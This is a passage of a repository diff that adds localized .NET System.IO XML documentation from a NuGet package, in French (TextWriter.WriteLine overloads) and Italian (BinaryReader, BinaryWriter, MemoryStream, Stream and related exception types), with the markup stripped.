flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet en appelant la méthode ToString sur cet objet, suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Objet à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Chaîne à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne, en utilisant la même sémantique que . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + Une chaîne ou un objet est passé en tant que null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un caractère suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si le tableau de caractères a la valeur null, seul la marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul une marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/it/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/it/System.IO.xml new file mode 100644 index 0000000..9bb2174 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/it/System.IO.xml @@ -0,0 +1,2123 @@ + + + + System.IO + + + + Legge i tipi di dati primitivi come valori binari in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe in base al flusso specificato e usando la codifica UTF-8. + Flusso di input. + Il flusso non supporta la lettura, è null o è già chiuso. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e del flusso specificata. + Flusso di input. + Codifica dei caratteri da usare. + Il flusso non supporta la lettura, è null o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e di flusso specificati. Facoltativamente mantiene aperto il flusso. + Flusso di input. + Codifica dei caratteri da usare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la lettura, è null o è già chiuso. + + o è null. + + + Espone l'accesso al flusso sottostante dell'oggetto . + Flusso sottostante associato all'oggetto BinaryReader. + 2 + + + Rilascia tutte le risorse usate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Inserisce nel buffer interno il numero specificato di byte letti dal flusso. + Numero di byte da leggere. + È stata raggiunta la fine del flusso prima che fosse possibile leggere . + Si è verificato un errore di I/O. + I richiesti sono superiori alla dimensione del buffer interno. + + + Restituisce il successivo carattere disponibile senza spostare in avanti la posizione del byte o del carattere. + Carattere successivo disponibile oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + Impossibile decodificare il carattere corrente nel buffer di caratteri interno tramite l'oggetto selezionato per il flusso. + 2 + + + Legge i caratteri dal flusso sottostante e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico che il flusso sta leggendo. + Carattere successivo dal flusso di input oppure -1 se non vi sono caratteri disponibili. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Legge il numero specificato di byte dal flusso, a partire da un punto specificato nella matrice di byte. + Numero di byte letti nell'oggetto .Può essere minore del numero di byte richiesti, se tale quantità di byte non è disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di byte da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di caratteri dal flusso, a partire da un punto specificato nella matrice di caratteri. + Numero complessivo di caratteri letti nel buffer.Può essere minore del numero di caratteri richiesti, se tale quantità di caratteri non è attualmente disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di caratteri da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero a 32 bit in formato compresso. + Intero a 32 bit in formato compresso. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + Flusso danneggiato. + + + Legge un valore Boolean dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + true se il byte è diverso da zero; in caso contrario, false. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il byte successivo dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + Byte successivo letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di byte dal flusso corrente in una matrice di byte e sposta in avanti la posizione corrente in base a tale numero di byte. + Matrice di byte contenente dati letti dal flusso sottostante.Può essere minore del numero di byte necessari se viene raggiunta la fine del flusso. + Numero di byte da leggere.Questo valore deve essere 0 o un numero non negativo; in caso contrario, si verificherà un'eccezione. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è negativo. + 2 + + + Legge il carattere successivo dal flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Carattere letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + È stato letto un carattere surrogato. + 2 + + + Legge il numero specificato di caratteri dal flusso corrente, restituisce i dati in una matrice di caratteri e sposta in avanti la posizione corrente secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Matrice di caratteri contenente dati letti dal flusso sottostante.Può essere minore del numero di caratteri necessari se viene raggiunta la fine del flusso. + Numero di caratteri da leggere. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Il flusso è chiuso. + Si è verificato un errore di I/O. + + è negativo. + 2 + + + Legge un valore decimale dal flusso corrente e sposta in avanti di sedici byte la posizione corrente del flusso. + Valore decimale letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione corrente del flusso. + Valore a virgola mobile a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 2 byte dal flusso corrente e sposta in avanti di 2 byte la posizione corrente del flusso. + Intero con segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Intero con segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 8 byte dal flusso corrente e sposta in avanti di 8 byte la posizione del flusso. + Intero con segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un byte con segno dal flusso corrente e sposta in avanti di un byte la posizione corrente del flusso. + Byte con segno letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Valore a virgola mobile a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge una stringa dal flusso corrente.La stringa ha un prefisso di lunghezza e viene codificata come intero, 7 bit alla volta. + Stringa da leggere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 2 byte dal flusso corrente usando la codifica little-endian e sposta in avanti di due byte la posizione del flusso. + Intero senza segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero senza segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero senza segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Scrive i tipi primitivi in codice binario in un flusso e supporta la scrittura di stringhe in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe che scrive in un flusso. + + + Inizializza una nuova istanza della classe in base alla codifica using UTF-8 e di flusso specificata. + Flusso di output. + Il flusso non supporta la scrittura o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. + Flusso di output. + Codifica dei caratteri da utilizzare. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso di output. + Codifica dei caratteri da utilizzare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Ottiene il flusso sottostante dell'oggetto . + Flusso sottostante associato a BinaryWriter. + 1 + + + Rilascia tutte le risorse utilizzate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Specifica un oggetto privo di archivio di backup. + 1 + + + Contiene il flusso principale. + + + Imposta la posizione all'interno del flusso corrente. + Posizione all'interno del flusso corrente. + Offset dei byte relativo a . + Campo di che indica il punto di riferimento dal quale ottenere la nuova posizione. + Il puntatore a file è stato spostato in un percorso non valido. + Il valore di non è valido. + 1 + + + Scrive un valore Boolean a un byte nel flusso corrente, con 0 che rappresenta false e 1 che rappresenta true. + Valore Boolean da scrivere (0 o 1). + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte senza segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una matrice di byte nel flusso sottostante. + Matrice di caratteri che contiene i dati da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è null. + 1 + + + Scrive un'area di una matrice di byte nel flusso corrente. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale nel parametro da cui iniziare la scrittura. + Numero di byte da scrivere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un carattere Unicode nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Carattere Unicode non surrogato da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è un carattere surrogato singolo. + 1 + + + Scrive una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + + è null. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 1 + + + Scrive una sezione di una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale in dal quale avviare la scrittura. + Numero di caratteri da inserire. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore decimale nel flusso corrente e sposta in avanti di 16 byte la posizione del flusso. + Valore decimale da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a otto byte nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Valore a virgola mobile a otto byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte con segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte con segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte con segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte con segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a quattro byte nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Valore a virgola mobile a quattro byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una stringa con prefisso di lunghezza nel flusso con la codifica corrente dell'oggetto e sposta in avanti la posizione corrente del flusso secondo la codifica utilizzata e i caratteri specifici scritti nel flusso. + Valore da scrivere. + Si è verificato un errore di I/O. + + è null. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte senza segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte senza segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte senza segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Inserisce un valore intero a 32 bit in un formato compresso. + Intero da 32 bit da scrivere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Il flusso è chiuso. + + + Eccezione generata durante il tentativo di leggere oltre la fine di un flusso. + 2 + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su un messaggio fornito dal sistema e il relativo HRESULT impostato su COR_E_ENDOFSTREAM. + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su e HRESULT impostato su COR_E_ENDOFSTREAM. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + + + Consente l'inizializzazione di una nuova istanza della classe con un messaggio di errore specificato e un riferimento all'eccezione interna che è la causa dell'eccezione corrente. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Eccezione generata se un flusso di dati è in un formato non valido. + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con un messaggio di errore specificato. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + + + Inizializza una nuova istanza della classe con un riferimento all'eccezione interna che è la causa dell'eccezione. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Crea un flusso il cui archivio di backup è costituito dalla memoria.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata su zero. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata. + Matrice di byte senza segno da cui creare il flusso corrente. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla area specificata (indice) di una matrice di byte. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + + è null. + + o è minore di zero. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza non ridimensionabile della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + o è un valore negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato e la possibilità di chiamare il metodo impostato nel modo specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + true per abilitare il metodo , che restituisce la matrice di byte senza segno da cui è stato creato il flusso; in caso contrario, false. + + è null. + Il valore di o è negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata secondo quanto specificato. + Dimensione iniziale in byte della matrice interna. + + è negativo. + + + Ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 2 + + + Ottiene o imposta il numero di byte allocati per questo flusso. + Lunghezza della parte usabile del buffer per il flusso. + È stata impostata una capacità negativa o minore della lunghezza corrente del flusso. + Il flusso corrente è chiuso. + set è stato richiamato su un flusso del quale non è possibile modificare la capacità. + 2 + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando le dimensione del buffer specificate e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero. + Token da monitorare per le richieste di annullamento. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Esegue l'override del metodo in modo che non venga effettuata alcuna operazione. + 2 + + + Rimuove in modo asincrono tutti i buffer per questo flusso e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento. + Il flusso è stato eliminato. + + + Ottiene la lunghezza in byte del flusso. + Lunghezza del flusso in byte. + Il flusso è chiuso. + 2 + + + Ottiene o imposta la posizione corrente all'interno del flusso. + Posizione corrente all'interno del flusso. + La posizione è impostata su un valore negativo o maggiore di . + Il flusso è chiuso. + 2 + + + Legge un blocco di byte dal flusso corrente e scrive i dati in un buffer. + Numero complessivo di byte scritti nel buffer.Può essere minore del numero di byte richiesti se tale numero di byte non è al momento disponibile o pari a zero se è stata raggiunta la fine del flusso prima della lettura di qualsiasi byte. + Quando questo metodo viene restituito, contiene la matrice di byte specificata in cui i valori tra e ( + - 1) sono sostituiti dai caratteri letti dal flusso corrente. + Offset di byte in base zero in da cui iniziare l'archiviazione dei dati dal flusso corrente. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + + sottratto alla lunghezza del buffer è minore di . + L'istanza del flusso corrente è chiusa. + 2 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso corrente. + Cast di byte su un oggetto o -1 se è stata raggiunta la fine del flusso. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la posizione all'interno del flusso corrente sul valore specificato. + Nuova posizione all'interno del flusso, calcolata combinando il punto di riferimento iniziale e l'offset. + Nuova posizione all'interno del flusso.È relativa al parametro e può essere positiva o negativa. + Valore di tipo , che funge da punto di riferimento per la ricerca. + La ricerca viene tentata prima dell'inizio del flusso. + + è maggiore di . + Il valore di non è valido. -oppure- causato da un overflow aritmetico. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la lunghezza del flusso corrente sul valore specificato. + Valore su cui impostare la lunghezza. + Il flusso corrente non è ridimensionabile e il parametro è maggiore della capacità corrente.-oppure- Il flusso corrente non supporta la scrittura. + + è negativo o maggiore della lunghezza massima dell'oggetto , in cui la lunghezza massima corrisponde a ( - origine) e l'origine corrisponde all'indice nel buffer sottostante in corrispondenza del quale inizia il flusso. + 2 + + + Scrive il contenuto del flusso in una matrice di byte, indipendentemente dalla proprietà . + Nuova matrice di byte. + 2 + + + Restituisce la matrice di byte senza segno da cui è stato creato questo flusso.Il valore restituito indica se la conversione è riuscita. + true se la conversione riesce; in caso contrario, false. + Segmento di matrice di byte da cui è stato creato questo flusso. + + + Scrive un blocco di byte nel flusso corrente usando dati letti da un buffer. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero massimo di byte da scrivere. + + è null. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente, rispetto al numero di byte specificati in , è più vicina alla fine del flusso e non è possibile modificare la capacità. + + sottratto alla lunghezza del buffer è minore di . + + o è un valore negativo. + Si è verificato un errore di I/O. + L'istanza del flusso corrente è chiusa. + 2 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente all'interno del flusso corrente. + Byte da scrivere. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente è alla fine del flusso e non è possibile modificare la capacità. + Il flusso corrente è chiuso. + 2 + + + Scrive l'intero contenuto del flusso di memoria in un altro flusso. + Flusso in cui scrivere il flusso di memoria. + + è null. + Il flusso corrente o di destinazione è chiuso. + 2 + + + Specifica la posizione in un flusso da utilizzare per le ricerche. + 2 + + + Specifica l'inizio di un flusso. + + + Specifica la posizione corrente all'interno di un flusso. + + + Specifica la fine di un flusso. + + + Fornisce una visualizzazione generica di una sequenza di byte.Questa è una classe abstract.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe . + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso supporta la lettura; in caso contrario, false. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso supporta la ricerca; in caso contrario, false. + 1 + + + Ottiene un valore che determina se il flusso corrente prevede il timeout. + Valore che determina se il flusso corrente prevede il timeout. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 1 + + + Legge i byte dal flusso corrente e li scrive in un altro flusso. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + 